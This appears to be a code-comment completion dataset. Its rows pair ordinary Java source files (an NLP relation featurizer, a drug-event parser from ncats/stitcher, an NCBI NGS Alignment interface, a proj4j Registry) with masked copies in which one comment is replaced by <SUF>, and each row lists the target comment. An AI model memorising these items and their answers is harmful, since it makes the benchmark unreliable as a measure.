Featurizable factory = new Featurizable(subj, obj, tokens, dependencies, Collections.EMPTY_LIST);
Counter<String> features = new ClassicCounter<>();
for (Feature feat : Feature.values()) {
feat.provider.apply(factory, features);
}
// Return
return Maybe.<Datum<String, String>>Just(new BasicDatum<>(Counters.toSortedList(features), rel.getType()));
}
} catch (RuntimeException e) {
err(e);
return Maybe.Nothing();
}
}
/**
* Featurize |sentence| with respect to |entity|, with optional |filter|.
*
* That is, build a datum (singleton sentence group) for each relation that
* is headed by |entity|, subject to filtering.
*
* @param sentence
* CoreMap with relation mention annotations.
* @param filter
* Optional relation filter for within-sentence filtering
* @return List of singleton sentence groups. Each singleton represents a
* datum for one of the relations found in this sentence.
*/
@Override
public List<SentenceGroup> featurizeSentence(CoreMap sentence, Maybe<RelationFilter> filter) {
List<RelationMention> relationMentionsForEntity = sentence.get(MachineReadingAnnotations.RelationMentionsAnnotation.class);
List<RelationMention> relationMentionsForAllPairs = sentence.get(MachineReadingAnnotations.AllRelationMentionsAnnotation.class);
List<SentenceGroup> datumsForEntity = featurizeRelations(relationMentionsForEntity,sentence);
if(filter.isDefined()) {
List<SentenceGroup> datumsForAllPairs = featurizeRelations(relationMentionsForAllPairs,sentence);
datumsForEntity = filter.get().apply(datumsForEntity, datumsForAllPairs, sentence);
}
return datumsForEntity;
}
/**
* Construct datums for these relation mentions.
* Output is list of singleton sentence groups.
*/
private List<SentenceGroup> featurizeRelations(List<RelationMention> relationMentions, CoreMap sentence) {
List<SentenceGroup> datums = new ArrayList<>();
if (relationMentions == null) { return datums; }
for (RelationMention rel : relationMentions) {
assert rel instanceof NormalizedRelationMention;
NormalizedRelationMention normRel = (NormalizedRelationMention) rel;
assert normRel.getEntityMentionArgs().get(0).getSyntacticHeadTokenPosition() >= 0;
assert normRel.getEntityMentionArgs().get(1).getSyntacticHeadTokenPosition() >= 0;
for (Datum<String, String> d : featurize(rel)) {
// Pull out the arguments to construct the entity pair this
// datum will express.
List<EntityMention> args = rel.getEntityMentionArgs();
EntityMention leftArg = args.get(0);
EntityMention rightArg = args.get(1);
KBPEntity entity = normRel.getNormalizedEntity();
String slotValue = normRel.getNormalizedSlotValue();
// Create key
KBPair key = KBPNew
.entName(entity != null ? entity.name : (leftArg.getNormalizedName() != null ? leftArg.getNormalizedName() : leftArg.getFullValue()))
.entType(entity != null ? entity.type : Utils.getNERTag(leftArg).orCrash())
.entId(entity != null && entity instanceof KBPOfficialEntity ? ((KBPOfficialEntity) entity).id : Maybe.<String>Nothing())
.slotValue(slotValue)
.slotType(Utils.getNERTag(rightArg).orCrash()).KBPair();
logger.debug("featurized datum key: " + key);
// Also track the provenance information
String indexName = leftArg.getSentence().get(SourceIndexAnnotation.class);
String docId = leftArg.getSentence().get(DocIDAnnotation.class);
Integer sentenceIndex = leftArg.getSentence().get(CoreAnnotations.SentenceIndexAnnotation.class);
Span entitySpan = leftArg.getExtent();
Span slotFillSpan = rightArg.getExtent();
KBPRelationProvenance provenance =
sentenceIndex == null ? new KBPRelationProvenance(docId, indexName)
: new KBPRelationProvenance(docId, indexName, sentenceIndex, entitySpan, slotFillSpan, sentence);
// Handle Sentence Gloss Caching
String hexKey = CoreMapUtils.getSentenceGlossKey(sentence.get(CoreAnnotations.TokensAnnotation.class), leftArg.getExtent(), rightArg.getExtent());
saveSentenceGloss(hexKey, sentence, Maybe.Just(entitySpan), Maybe.Just(slotFillSpan));
// Construct singleton sentence group; group by slotValue entity
SentenceGroup sg = new SentenceGroup(key, d, provenance, hexKey);
datums.add(sg);
}
}
return datums;
}
@Override
public List<CoreMap> annotateSentenceFeatures (KBPEntity entity, List<CoreMap> sentences) {
return annotateSentenceFeatures(entity,sentences,AnnotateMode.NORMAL);
}
public List<CoreMap> annotateSentenceFeatures( KBPEntity entity,
List<CoreMap> sentences, AnnotateMode annotateMode) {
// Check if PostIR was run
for (CoreMap sentence : sentences) {
if (!sentence.containsKey(KBPAnnotations.AllAntecedentsAnnotation.class) && !Props.JUNIT) {
throw new IllegalStateException("Must pass sentence through PostIRAnnotator before calling AnnotateSentenceFeatures");
}
}
// Create the mention annotation pipeline
AnnotationPipeline pipeline = new AnnotationPipeline();
pipeline.addAnnotator(new EntityMentionAnnotator(entity));
pipeline.addAnnotator(new SlotMentionAnnotator());
pipeline.addAnnotator(new RelationMentionAnnotator(entity, querier.get().getKnownSlotFillsForEntity(entity), annotateMode));
pipeline.addAnnotator(new PreFeaturizerAnnotator(props));
// Annotate
Annotation ann = new Annotation(sentences);
pipeline.annotate(ann);
// Sanity checks
if (Utils.assertionsEnabled()) {
for (CoreMap sentence : ann.get(SentencesAnnotation.class)) {
for (RelationMention rm : sentence.get(MachineReadingAnnotations.RelationMentionsAnnotation.class)) {
assert rm.getArg(0) instanceof EntityMention;
assert rm.getArg(1) instanceof EntityMention;
assert ((EntityMention) rm.getArg(0)).getSyntacticHeadTokenPosition() >= 0;
assert ((EntityMention) rm.getArg(1)).getSyntacticHeadTokenPosition() >= 0;
}
}
}
// Return valid<SUF>
return ann.get(SentencesAnnotation.class);
}
public void saveSentenceGloss(final String hexKey, CoreMap sentence, Maybe<Span> entitySpanMaybe, Maybe<Span> slotFillSpanMaybe) {
if (Props.CACHE_SENTENCEGLOSS_DO) {
assert (!hexKey.isEmpty());
// Create annotation
final Annotation ann = new Annotation("");
ann.set(SentencesAnnotation.class, new ArrayList<>(Arrays.asList(sentence)));
// Set extra annotations
for (Span entitySpan : entitySpanMaybe) {
sentence.set(KBPAnnotations.EntitySpanAnnotation.class, entitySpan); // include entity and slot value spans
}
for (Span slotFillSpan : slotFillSpanMaybe) {
sentence.set(KBPAnnotations.SlotValueSpanAnnotation.class, slotFillSpan);
}
// Do caching
PostgresUtils.withKeyAnnotationTable(Props.DB_TABLE_SENTENCEGLOSS_CACHE, new PostgresUtils.KeyAnnotationCallback(sentenceGlossSerializer) {
@Override
public void apply(Connection psql) throws SQLException {
try {
putSingle(psql, Props.DB_TABLE_SENTENCEGLOSS_CACHE, hexKey, ann);
} catch (SQLException e) {
logger.err(e);
}
}
});
// Clear extra annotations
sentence.remove(KBPAnnotations.EntitySpanAnnotation.class); // don't keep these around indefinitely -- they're datum not sentence specific
sentence.remove(KBPAnnotations.SlotValueSpanAnnotation.class);
}
}
/** Recovers the original sentence, given a short hash pointing to the sentence */
public Maybe<CoreMap> recoverSentenceGloss(final String hexKey) {
final Pointer<CoreMap> sentence = new Pointer<>();
PostgresUtils.withKeyAnnotationTable(Props.DB_TABLE_SENTENCEGLOSS_CACHE, new PostgresUtils.KeyAnnotationCallback(sentenceGlossSerializer) {
@Override
public void apply(Connection psql) throws SQLException {
for (Annotation ann : getSingle(psql, Props.DB_TABLE_SENTENCEGLOSS_CACHE, hexKey)) {
for (CoreMap sent : Maybe.fromNull(ann.get(SentencesAnnotation.class).get(0))) {
sentence.set(sent);
}
}
}
});
return sentence.dereference();
}
}
|
98442_3 | package ncats.stitcher.calculators.events;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import ncats.stitcher.calculators.EventCalculator;
import java.lang.reflect.Array;
import java.util.*;
import java.util.logging.Level;
public class RanchoEventParser extends EventParser {
final ObjectMapper mapper = new ObjectMapper ();
final Base64.Decoder decoder = Base64.getDecoder();
Event event;
Object id;
public RanchoEventParser() {
super ("FRDB, October 2021");
}
void parseCondition(JsonNode n) {
if (n.has("condition_highest_phase")
&& n.get("condition_highest_phase") != null
&& ("approved".equalsIgnoreCase(n.get("condition_highest_phase").asText())
|| ("phase IV".equalsIgnoreCase(n.get("condition_highest_phase").asText()))
)
) {
event = new Event(name, id, Event.EventKind.Marketed);
if (n.has("highest_phase_uri")) {
event.URL = n.get("highest_phase_uri").asText();
if (event.URL.contains("fda.gov")) {
event.jurisdiction = "US";
// While Rancho is manually curated, they shouldn't override annotations directly from FDA
// Such annotations need to be manually reviewed
// if (event.URL.contains("Veterinary") || event.URL.contains("Animal"))
// event.kind = Event.EventKind.USAnimalDrug;
// else
// event.kind = Event.EventKind.USApprovalRx;
} else if (event.URL.contains("dailymed.nlm.nih.gov")) {
event.jurisdiction = "US";
// While Rancho is manually curated, they shouldn't override annotations directly from FDA
// Such annotations need to be manually reviewed
// event.kind = Event.EventKind.USUnapproved; // TODO Update Rancho highest phase to match new nomenclature
}
} else {
event.comment = "";
if (n.has("name")) {
event.comment +=
n.get("name").asText();
} else if (n.has("condition_mesh")) {
event.comment +=
n.get("condition_mesh").asText();
}
if (n.has("product_name")) {
event.comment += " "
+ n.get("product_name").asText();
}
}
if (n.has("product_name")) {
event.product = n.get("product_name").asText();
}
if (n.has("product_date")) {
String d = n.get("product_date").asText();
if (!"unknown".equalsIgnoreCase(d)) {
try {
Date date = EventCalculator.SDF.parse(d);
//event.startDate = date;
} catch (Exception ex) {
ex.printStackTrace();
EventCalculator.logger.log(Level.SEVERE,
"Can't parse startDate: " + d,
ex);
}
}
}
}
}
void parseCondition(String content) throws Exception {
JsonNode node = mapper.readTree(decoder.decode(content));
if (node.isArray()) {
for (int i = 0; i < node.size(); ++i) {
JsonNode n = node.get(i);
parseCondition(n);
}
} else {
parseCondition(node);
}
}
String parseObject (Object item) {
if (item != null) {
String value = "";
if (item.getClass().isArray()) {
for (int i = 0; i < Array.getLength(item); i++) {
value += (value.length() > 0 ? ";" : "")
+ Array.get(item, i).toString();
}
} else {
value = item.toString();
}
return value;
}
return null;
}
public void produceEvents(Map<String, Object> payload) {
event = null;
id = payload.get("unii");
if (id != null && id.getClass().isArray()) {
//&& Array.getLength(id) == 1)
id = Array.get(id, 0); //TODO Make Rancho UNII unique, for now assume first UNII is good surrogate
}
// First, find highest phase product from conditions list
Object content = payload.get("conditions");
if (content != null) {
if (content.getClass().isArray()) {
for (int i = 0; i < Array.getLength(content); ++i) {
String c = (String) Array.get(content, i);
try {
parseCondition(c);
} catch (Exception ex) {
EventCalculator.logger.log(Level.SEVERE,
"Can't parse Json payload: " + c,
ex);
}
}
} else {
try {
parseCondition((String)content);
} catch (Exception ex) {
EventCalculator.logger.log(Level.SEVERE,
"Can't parse json payload: "+content, ex);
}
}
}
// Add back other payload info to event
if (event != null) {
Object item = payload.get("in_vivo_use_route");
String route = parseObject(item);
//in_vivo_use_route is a controlled vocabularly
//if the value = "other" than use the field in_vivo_use_route_other
//which is free text.
if ("other".equalsIgnoreCase(route)) {
item = payload.get("in_vivo_use_route_other");
route = parseObject(item);
}
if (route !=null
&& !route.trim().isEmpty()) {
event.route = route;
}
item = payload.get("originator");
String sponsor = parseObject(item);
if (sponsor != null && !sponsor.trim().isEmpty()
&& !sponsor.equalsIgnoreCase("unknown")) {
event.sponsor = sponsor;
}
item = payload.get("originator_uri");
String url = parseObject(item);
if (event.URL != null
&& url != null
&& !url.trim().isEmpty() && !url.trim().equalsIgnoreCase("unknown")) {
event.URL = url;
}
}
if (event != null) {
events.put(String.valueOf(System.identityHashCode(event)), event);
}
return;
}
}
| ncats/stitcher | modules/stitcher/src/main/java/ncats/stitcher/calculators/events/RanchoEventParser.java | 1,873 | // event.kind = Event.EventKind.USAnimalDrug; | line_comment | nl | package ncats.stitcher.calculators.events;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import ncats.stitcher.calculators.EventCalculator;
import java.lang.reflect.Array;
import java.util.*;
import java.util.logging.Level;
public class RanchoEventParser extends EventParser {
final ObjectMapper mapper = new ObjectMapper ();
final Base64.Decoder decoder = Base64.getDecoder();
Event event;
Object id;
public RanchoEventParser() {
super ("FRDB, October 2021");
}
void parseCondition(JsonNode n) {
if (n.has("condition_highest_phase")
&& n.get("condition_highest_phase") != null
&& ("approved".equalsIgnoreCase(n.get("condition_highest_phase").asText())
|| ("phase IV".equalsIgnoreCase(n.get("condition_highest_phase").asText()))
)
) {
event = new Event(name, id, Event.EventKind.Marketed);
if (n.has("highest_phase_uri")) {
event.URL = n.get("highest_phase_uri").asText();
if (event.URL.contains("fda.gov")) {
event.jurisdiction = "US";
// While Rancho is manually curated, they shouldn't override annotations directly from FDA
// Such annotations need to be manually reviewed
// if (event.URL.contains("Veterinary") || event.URL.contains("Animal"))
// event.kind =<SUF>
// else
// event.kind = Event.EventKind.USApprovalRx;
} else if (event.URL.contains("dailymed.nlm.nih.gov")) {
event.jurisdiction = "US";
// While Rancho is manually curated, they shouldn't override annotations directly from FDA
// Such annotations need to be manually reviewed
// event.kind = Event.EventKind.USUnapproved; // TODO Update Rancho highest phase to match new nomenclature
}
} else {
event.comment = "";
if (n.has("name")) {
event.comment +=
n.get("name").asText();
} else if (n.has("condition_mesh")) {
event.comment +=
n.get("condition_mesh").asText();
}
if (n.has("product_name")) {
event.comment += " "
+ n.get("product_name").asText();
}
}
if (n.has("product_name")) {
event.product = n.get("product_name").asText();
}
if (n.has("product_date")) {
String d = n.get("product_date").asText();
if (!"unknown".equalsIgnoreCase(d)) {
try {
Date date = EventCalculator.SDF.parse(d);
//event.startDate = date;
} catch (Exception ex) {
ex.printStackTrace();
EventCalculator.logger.log(Level.SEVERE,
"Can't parse startDate: " + d,
ex);
}
}
}
}
}
void parseCondition(String content) throws Exception {
JsonNode node = mapper.readTree(decoder.decode(content));
if (node.isArray()) {
for (int i = 0; i < node.size(); ++i) {
JsonNode n = node.get(i);
parseCondition(n);
}
} else {
parseCondition(node);
}
}
String parseObject (Object item) {
if (item != null) {
String value = "";
if (item.getClass().isArray()) {
for (int i = 0; i < Array.getLength(item); i++) {
value += (value.length() > 0 ? ";" : "")
+ Array.get(item, i).toString();
}
} else {
value = item.toString();
}
return value;
}
return null;
}
public void produceEvents(Map<String, Object> payload) {
event = null;
id = payload.get("unii");
if (id != null && id.getClass().isArray()) {
//&& Array.getLength(id) == 1)
id = Array.get(id, 0); //TODO Make Rancho UNII unique, for now assume first UNII is good surrogate
}
// First, find highest phase product from conditions list
Object content = payload.get("conditions");
if (content != null) {
if (content.getClass().isArray()) {
for (int i = 0; i < Array.getLength(content); ++i) {
String c = (String) Array.get(content, i);
try {
parseCondition(c);
} catch (Exception ex) {
EventCalculator.logger.log(Level.SEVERE,
"Can't parse Json payload: " + c,
ex);
}
}
} else {
try {
parseCondition((String)content);
} catch (Exception ex) {
EventCalculator.logger.log(Level.SEVERE,
"Can't parse json payload: "+content, ex);
}
}
}
// Add back other payload info to event
if (event != null) {
Object item = payload.get("in_vivo_use_route");
String route = parseObject(item);
//in_vivo_use_route is a controlled vocabularly
//if the value = "other" than use the field in_vivo_use_route_other
//which is free text.
if ("other".equalsIgnoreCase(route)) {
item = payload.get("in_vivo_use_route_other");
route = parseObject(item);
}
if (route !=null
&& !route.trim().isEmpty()) {
event.route = route;
}
item = payload.get("originator");
String sponsor = parseObject(item);
if (sponsor != null && !sponsor.trim().isEmpty()
&& !sponsor.equalsIgnoreCase("unknown")) {
event.sponsor = sponsor;
}
item = payload.get("originator_uri");
String url = parseObject(item);
if (event.URL != null
&& url != null
&& !url.trim().isEmpty() && !url.trim().equalsIgnoreCase("unknown")) {
event.URL = url;
}
}
if (event != null) {
events.put(String.valueOf(System.identityHashCode(event)), event);
}
return;
}
}
|
151091_7 | /*===========================================================================
*
* PUBLIC DOMAIN NOTICE
* National Center for Biotechnology Information
*
* This software/database is a "United States Government Work" under the
* terms of the United States Copyright Act. It was written as part of
* the author's official duties as a United States Government employee and
* thus cannot be copyrighted. This software/database is freely available
* to the public for use. The National Library of Medicine and the U.S.
* Government have not placed any restriction on its use or reproduction.
*
* Although all reasonable efforts have been taken to ensure the accuracy
* and reliability of the software and data, the NLM and the U.S.
* Government do not and cannot warrant the performance or results that
* may be obtained by using this software or data. The NLM and the U.S.
* Government disclaim all warranties, express or implied, including
* warranties of performance, merchantability or fitness for any particular
* purpose.
*
* Please cite the author in any work or product based on this material.
*
* ===========================================================================
*
*/
package ngs;
/**
* Represents an alignment between a Fragment and Reference sub-sequence
* provides a path to Read and mate Alignment
*/
public interface Alignment
extends Fragment
{
/**
* Retrieve an identifying String that can be used for later access.
* The id will be unique within ReadCollection.
* @return alignment id
* @throws ErrorMsg if the property cannot be retrieved
*/
String getAlignmentId ()
throws ErrorMsg;
/*------------------------------------------------------------------
* Reference
*/
/**
* getReferenceSpec
* @return the name of the reference
* @throws ErrorMsg if the property cannot be retrieved
*/
String getReferenceSpec ()
throws ErrorMsg;
/**
* getMappingQuality
* @return mapping quality
* @throws ErrorMsg if the property cannot be retrieved
*/
int getMappingQuality ()
throws ErrorMsg;
/**
* getReferenceBases
* @return reference bases
* @throws ErrorMsg if the property cannot be retrieved
*/
String getReferenceBases ()
throws ErrorMsg;
/*------------------------------------------------------------------
* Fragment
*/
/**
* getReadGroup
* @return the name of the read-group
* @throws ErrorMsg if the property cannot be retrieved
*/
String getReadGroup ()
throws ErrorMsg;
/**
* getReadId
* @return the unique name of the read
* @throws ErrorMsg if the property cannot be retrieved
*/
String getReadId ()
throws ErrorMsg;
/**
* getClippedFragmentBases
* @return clipped fragment bases
* @throws ErrorMsg if the property cannot be retrieved
*/
String getClippedFragmentBases ()
throws ErrorMsg;
/**
* getClippedFragmentQualities
* @return clipped fragment phred quality values using ASCII offset of 33
* @throws ErrorMsg if the property cannot be retrieved
*/
String getClippedFragmentQualities ()
throws ErrorMsg;
/**
* getAlignedFragmentBases
* @return fragment bases in their aligned orientation
* @throws ErrorMsg if the property cannot be retrieved
*/
String getAlignedFragmentBases ()
throws ErrorMsg;
/*------------------------------------------------------------------
* details of this alignment
*/
/* AlignmentFilter
* values should be or'd together to produce filter bits
*/
static int passFailed = 1; // reads rejected due to platform/vendor quality criteria
static int passDuplicates = 2; // either a PCR or optical duplicate
static int minMapQuality = 4; // pass alignments with mappingQuality >= param
static int maxMapQuality = 8; // pass alignments with mappingQuality <= param
static int noWraparound = 16; // do not include leading wrapped around alignments to circular references
static int startWithinSlice = 32; // change slice intersection criteria so that start pos is within slice
/* AlignmentCategory
*/
static int primaryAlignment = 1;
static int secondaryAlignment = 2;
static int all = primaryAlignment | secondaryAlignment;
/**
* Alignments are categorized as primary or secondary (alternate).
* @return either Alignment.primaryAlignment or Alignment.secondaryAlignment
* @throws ErrorMsg if the property cannot be retrieved
*/
int getAlignmentCategory ()
throws ErrorMsg;
/**
* Retrieve the Alignment's starting position on the Reference
* @return unsigned 0-based offset from start of Reference
* @throws ErrorMsg if the property cannot be retrieved
*/
long getAlignmentPosition ()
throws ErrorMsg;
/**
* Retrieve the projected length of an Alignment projected upon Reference.
* @return unsigned length of projection
* @throws ErrorMsg if the property cannot be retrieved
*/
long getAlignmentLength ()
throws ErrorMsg;
/**
* Test if orientation is reversed with respect to the Reference sequence.
* @return true if reversed
* @throws ErrorMsg if the property cannot be retrieved
*/
boolean getIsReversedOrientation ()
throws ErrorMsg;
/* ClipEdge
*/
static int clipLeft = 0;
static int clipRight = 1;
/**
* getSoftClip
* @return the position of the clipping
* @param edge which edge
* @throws ErrorMsg if the property cannot be retrieved
*/
int getSoftClip ( int edge )
throws ErrorMsg;
/**
* getTemplateLength
* @return the lenght of the template
* @throws ErrorMsg if the property cannot be retrieved
*/
long getTemplateLength ()
throws ErrorMsg;
/**
* getShortCigar
* @param clipped selects if clipping has to be applied
* @return a text string describing alignment details
* @throws ErrorMsg if the property cannot be retrieved
*/
String getShortCigar ( boolean clipped )
throws ErrorMsg;
/**
* getLongCigar
* @param clipped selects if clipping has to be applied
* @return a text string describing alignment details
* @throws ErrorMsg if the property cannot be retrieved
*/
String getLongCigar ( boolean clipped )
throws ErrorMsg;
/**
* getRNAOrientation
* @return '+' if positive strand is transcribed;
* '-' if negative strand is transcribed;
* '?' if unknown
* @throws ErrorMsg if the property cannot be retrieved
*/
char getRNAOrientation ()
throws ErrorMsg;
/*------------------------------------------------------------------
* details of mate alignment
*/
/**
* hasMate
* @return if the alignment has a mate
*/
boolean hasMate ();
/**
* getMateAlignmentId
* @return unique ID of th alignment
* @throws ErrorMsg if the property cannot be retrieved
*/
String getMateAlignmentId ()
throws ErrorMsg;
/**
* getMateAlignment
* @return the mate as alignment
* @throws ErrorMsg if the property cannot be retrieved
*/
Alignment getMateAlignment ()
throws ErrorMsg;
/**
* getMateReferenceSpec
* @return the name of the reference the mate is aligned at
* @throws ErrorMsg if the property cannot be retrieved
*/
String getMateReferenceSpec ()
throws ErrorMsg;
/**
* getMateIsReversedOrientation
* @return the orientation of the mate
* @throws ErrorMsg if the property cannot be retrieved
*/
boolean getMateIsReversedOrientation ()
throws ErrorMsg;
}
| ncbi/sra-tools | ngs/ngs-java/ngs/Alignment.java | 1,976 | /*------------------------------------------------------------------
* Fragment
*/ | block_comment | nl | /*===========================================================================
*
* PUBLIC DOMAIN NOTICE
* National Center for Biotechnology Information
*
* This software/database is a "United States Government Work" under the
* terms of the United States Copyright Act. It was written as part of
* the author's official duties as a United States Government employee and
* thus cannot be copyrighted. This software/database is freely available
* to the public for use. The National Library of Medicine and the U.S.
* Government have not placed any restriction on its use or reproduction.
*
* Although all reasonable efforts have been taken to ensure the accuracy
* and reliability of the software and data, the NLM and the U.S.
* Government do not and cannot warrant the performance or results that
* may be obtained by using this software or data. The NLM and the U.S.
* Government disclaim all warranties, express or implied, including
* warranties of performance, merchantability or fitness for any particular
* purpose.
*
* Please cite the author in any work or product based on this material.
*
* ===========================================================================
*
*/
package ngs;
/**
* Represents an alignment between a Fragment and Reference sub-sequence
* provides a path to Read and mate Alignment
*/
public interface Alignment
extends Fragment
{
/**
* Retrieve an identifying String that can be used for later access.
* The id will be unique within ReadCollection.
* @return alignment id
* @throws ErrorMsg if the property cannot be retrieved
*/
String getAlignmentId ()
throws ErrorMsg;
/*------------------------------------------------------------------
* Reference
*/
/**
* getReferenceSpec
* @return the name of the reference
* @throws ErrorMsg if the property cannot be retrieved
*/
String getReferenceSpec ()
throws ErrorMsg;
/**
* getMappingQuality
* @return mapping quality
* @throws ErrorMsg if the property cannot be retrieved
*/
int getMappingQuality ()
throws ErrorMsg;
/**
* getReferenceBases
* @return reference bases
* @throws ErrorMsg if the property cannot be retrieved
*/
String getReferenceBases ()
throws ErrorMsg;
/*------------------------------------------------------------------
<SUF>*/
/**
* getReadGroup
* @return the name of the read-group
* @throws ErrorMsg if the property cannot be retrieved
*/
String getReadGroup ()
throws ErrorMsg;
/**
* getReadId
* @return the unique name of the read
* @throws ErrorMsg if the property cannot be retrieved
*/
String getReadId ()
throws ErrorMsg;
/**
* getClippedFragmentBases
* @return clipped fragment bases
* @throws ErrorMsg if the property cannot be retrieved
*/
String getClippedFragmentBases ()
throws ErrorMsg;
/**
* getClippedFragmentQualities
* @return clipped fragment phred quality values using ASCII offset of 33
* @throws ErrorMsg if the property cannot be retrieved
*/
String getClippedFragmentQualities ()
throws ErrorMsg;
/**
* getAlignedFragmentBases
* @return fragment bases in their aligned orientation
* @throws ErrorMsg if the property cannot be retrieved
*/
String getAlignedFragmentBases ()
throws ErrorMsg;
/*------------------------------------------------------------------
* details of this alignment
*/
/* AlignmentFilter
* values should be or'd together to produce filter bits
*/
static int passFailed = 1; // reads rejected due to platform/vendor quality criteria
static int passDuplicates = 2; // either a PCR or optical duplicate
static int minMapQuality = 4; // pass alignments with mappingQuality >= param
static int maxMapQuality = 8; // pass alignments with mappingQuality <= param
static int noWraparound = 16; // do not include leading wrapped around alignments to circular references
static int startWithinSlice = 32; // change slice intersection criteria so that start pos is within slice
/* AlignmentCategory
*/
static int primaryAlignment = 1;
static int secondaryAlignment = 2;
static int all = primaryAlignment | secondaryAlignment;
/**
* Alignments are categorized as primary or secondary (alternate).
* @return either Alignment.primaryAlignment or Alignment.secondaryAlignment
* @throws ErrorMsg if the property cannot be retrieved
*/
int getAlignmentCategory ()
throws ErrorMsg;
/**
* Retrieve the Alignment's starting position on the Reference
* @return unsigned 0-based offset from start of Reference
* @throws ErrorMsg if the property cannot be retrieved
*/
long getAlignmentPosition ()
throws ErrorMsg;
/**
* Retrieve the projected length of an Alignment projected upon Reference.
* @return unsigned length of projection
* @throws ErrorMsg if the property cannot be retrieved
*/
long getAlignmentLength ()
throws ErrorMsg;
/**
* Test if orientation is reversed with respect to the Reference sequence.
* @return true if reversed
* @throws ErrorMsg if the property cannot be retrieved
*/
boolean getIsReversedOrientation ()
throws ErrorMsg;
/* ClipEdge
*/
static int clipLeft = 0;
static int clipRight = 1;
/**
* getSoftClip
* @return the position of the clipping
* @param edge which edge
* @throws ErrorMsg if the property cannot be retrieved
*/
int getSoftClip ( int edge )
throws ErrorMsg;
/**
* getTemplateLength
* @return the lenght of the template
* @throws ErrorMsg if the property cannot be retrieved
*/
long getTemplateLength ()
throws ErrorMsg;
/**
* getShortCigar
* @param clipped selects if clipping has to be applied
* @return a text string describing alignment details
* @throws ErrorMsg if the property cannot be retrieved
*/
String getShortCigar ( boolean clipped )
throws ErrorMsg;
/**
* getLongCigar
* @param clipped selects if clipping has to be applied
* @return a text string describing alignment details
* @throws ErrorMsg if the property cannot be retrieved
*/
String getLongCigar ( boolean clipped )
throws ErrorMsg;
/**
* getRNAOrientation
* @return '+' if positive strand is transcribed;
* '-' if negative strand is transcribed;
* '?' if unknown
* @throws ErrorMsg if the property cannot be retrieved
*/
char getRNAOrientation ()
throws ErrorMsg;
/*------------------------------------------------------------------
* details of mate alignment
*/
/**
* hasMate
* @return if the alignment has a mate
*/
boolean hasMate ();
/**
* getMateAlignmentId
* @return unique ID of th alignment
* @throws ErrorMsg if the property cannot be retrieved
*/
String getMateAlignmentId ()
throws ErrorMsg;
/**
* getMateAlignment
* @return the mate as alignment
* @throws ErrorMsg if the property cannot be retrieved
*/
Alignment getMateAlignment ()
throws ErrorMsg;
/**
* getMateReferenceSpec
* @return the name of the reference the mate is aligned at
* @throws ErrorMsg if the property cannot be retrieved
*/
String getMateReferenceSpec ()
throws ErrorMsg;
/**
* getMateIsReversedOrientation
* @return the orientation of the mate
* @throws ErrorMsg if the property cannot be retrieved
*/
boolean getMateIsReversedOrientation ()
throws ErrorMsg;
}
|
120426_115 | package org.osgeo.proj4j;
import java.util.HashMap;
import java.util.Map;
import org.osgeo.proj4j.datum.Datum;
import org.osgeo.proj4j.datum.Ellipsoid;
import org.osgeo.proj4j.proj.*;
/**
* Supplies predefined values for various library classes
* such as {@link Ellipsoid}, {@link Datum}, and {@link Projection}.
*
* @author Martin Davis
*
*/
public class Registry {
public Registry() {
super();
}
public final static Datum[] datums =
{
Datum.WGS84,
Datum.GGRS87,
Datum.NAD27,
Datum.NAD83,
Datum.POTSDAM,
Datum.CARTHAGE,
Datum.HERMANNSKOGEL,
Datum.IRE65,
Datum.NZGD49,
Datum.OSEB36
};
public Datum getDatum(String code)
{
for ( int i = 0; i < datums.length; i++ ) {
if ( datums[i].getCode().equals( code ) ) {
return datums[i];
}
}
return null;
}
public final static Ellipsoid[] ellipsoids =
{
Ellipsoid.SPHERE,
new Ellipsoid("MERIT", 6378137.0, 0.0, 298.257, "MERIT 1983"),
new Ellipsoid("SGS85", 6378136.0, 0.0, 298.257, "Soviet Geodetic System 85"),
Ellipsoid.GRS80,
new Ellipsoid("IAU76", 6378140.0, 0.0, 298.257, "IAU 1976"),
Ellipsoid.AIRY,
Ellipsoid.MOD_AIRY,
new Ellipsoid("APL4.9", 6378137.0, 0.0, 298.25, "Appl. Physics. 1965"),
new Ellipsoid("NWL9D", 6378145.0, 298.25, 0.0, "Naval Weapons Lab., 1965"),
new Ellipsoid("andrae", 6377104.43, 300.0, 0.0, "Andrae 1876 (Den., Iclnd.)"),
new Ellipsoid("aust_SA", 6378160.0, 0.0, 298.25, "Australian Natl & S. Amer. 1969"),
new Ellipsoid("GRS67", 6378160.0, 0.0, 298.2471674270, "GRS 67 (IUGG 1967)"),
Ellipsoid.BESSEL,
new Ellipsoid("bess_nam", 6377483.865, 0.0, 299.1528128, "Bessel 1841 (Namibia)"),
Ellipsoid.CLARKE_1866,
Ellipsoid.CLARKE_1880,
new Ellipsoid("CPM", 6375738.7, 0.0, 334.29, "Comm. des Poids et Mesures 1799"),
new Ellipsoid("delmbr", 6376428.0, 0.0, 311.5, "Delambre 1810 (Belgium)"),
new Ellipsoid("engelis", 6378136.05, 0.0, 298.2566, "Engelis 1985"),
Ellipsoid.EVEREST,
new Ellipsoid("evrst48", 6377304.063, 0.0, 300.8017, "Everest 1948"),
new Ellipsoid("evrst56", 6377301.243, 0.0, 300.8017, "Everest 1956"),
new Ellipsoid("evrst69", 6377295.664, 0.0, 300.8017, "Everest 1969"),
new Ellipsoid("evrstSS", 6377298.556, 0.0, 300.8017, "Everest (Sabah & Sarawak)"),
new Ellipsoid("fschr60", 6378166.0, 0.0, 298.3, "Fischer (Mercury Datum) 1960"),
new Ellipsoid("fschr60m", 6378155.0, 0.0, 298.3, "Modified Fischer 1960"),
new Ellipsoid("fschr68", 6378150.0, 0.0, 298.3, "Fischer 1968"),
new Ellipsoid("helmert", 6378200.0, 0.0, 298.3, "Helmert 1906"),
new Ellipsoid("hough", 6378270.0, 0.0, 297.0, "Hough"),
Ellipsoid.INTERNATIONAL,
Ellipsoid.INTERNATIONAL_1967,
Ellipsoid.KRASSOVSKY,
new Ellipsoid("kaula", 6378163.0, 0.0, 298.24, "Kaula 1961"),
new Ellipsoid("lerch", 6378139.0, 0.0, 298.257, "Lerch 1979"),
new Ellipsoid("mprts", 6397300.0, 0.0, 191.0, "Maupertius 1738"),
new Ellipsoid("plessis", 6376523.0, 6355863.0, 0.0, "Plessis 1817 France)"),
new Ellipsoid("SEasia", 6378155.0, 6356773.3205, 0.0, "Southeast Asia"),
new Ellipsoid("walbeck", 6376896.0, 6355834.8467, 0.0, "Walbeck"),
Ellipsoid.WGS60,
Ellipsoid.WGS66,
Ellipsoid.WGS72,
